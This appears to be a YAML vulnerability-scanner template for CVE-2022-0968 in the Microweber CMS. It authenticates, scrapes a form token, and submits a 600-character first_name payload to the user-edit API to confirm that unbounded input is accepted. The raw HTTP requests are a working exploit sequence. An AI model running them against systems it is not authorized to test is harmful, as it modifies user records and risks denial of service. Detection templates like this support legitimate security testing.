84 lines
2.9 KiB
YAML
84 lines
2.9 KiB
YAML
id: CVE-2022-0968
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info:
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name: Microweber <1.2.12 - Integer Overflow
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author: amit-jd
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severity: medium
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description: |
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Microweber before 1.2.12 is susceptible to integer overflow. The application allows large characters to insert in the input field 'first & last name,' which can allow an attacker to cause a denial of service via a crafted HTTP request.
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remediation: First name and last name input should be limited to 50 characters or maximum 100 characters.
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reference:
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- https://huntr.dev/bounties/97e36678-11cf-42c6-889c-892d415d9f9e/
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- https://github.com/advisories/GHSA-5fxv-xx5p-g2fv
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- https://huntr.dev/bounties/97e36678-11cf-42c6-889c-892d415d9f9e
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- https://nvd.nist.gov/vuln/detail/CVE-2022-0968
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- https://github.com/microweber/microweber/commit/80e39084729a57dfe749626c3b9d35247a14c49e
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classification:
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cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
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cvss-score: 5.5
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cve-id: CVE-2022-0968
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cwe-id: CWE-190
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epss-score: 0.00076
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epss-percentile: 0.31403
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cpe: cpe:2.3:a:microweber:microweber:*:*:*:*:*:*:*:*
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metadata:
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max-request: 3
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vendor: microweber
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product: microweber
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tags: cve,cve2022,overflow,microweber,cms,huntr
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variables:
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payload: '{{repeat("A", 600)}}'
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http:
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- raw:
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- |
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POST /api/user_login HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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username={{username}}&password={{password}}
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- |
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GET /admin/view:modules/load_module:users/edit-user:2 HTTP/1.1
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Host: {{Hostname}}
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- |
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POST /api/user/2 HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded; charset=UTF-8
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thumbnail=&id=2&token={{form_token}}&_method=PATCH&username={{user}}&verify_password=&first_name={{payload}}&last_name=test&email={{email}}&phone=&is_admin=0&is_active=1&basic_mode=0&api_key=
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cookie-reuse: true
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req-condition: true
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matchers:
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- type: dsl
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dsl:
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- contains(body_3,'\"first_name\":\"{{payload}}\"')
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- 'status_code_3==200'
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- 'contains(header_3,"application/json")'
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condition: and
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extractors:
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- type: regex
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name: form_token
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group: 1
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regex:
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- '<input type="hidden" name="token" value="(.*)" autocomplete="off">'
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internal: true
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part: body
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- type: regex
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name: user
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group: 1
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regex:
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- '<input type="text" class="form-control" name="username" value="(.*)">'
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internal: true
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part: body
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- type: regex
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name: email
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group: 1
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regex:
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- '<input type="email" class="form-control" name="email" value="(.*)">'
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internal: true
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part: body
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# digest: 4a0a00473045022100d119d4e32cb916aa103f49217b4ddb1358f3039c67bb45f755541753d5a3568002204de6579804fd8cba61baeaa324f8c1d2622d1fdec62f005a545474986e3be8c4:922c64590222798bb761d5b6d8e72950 |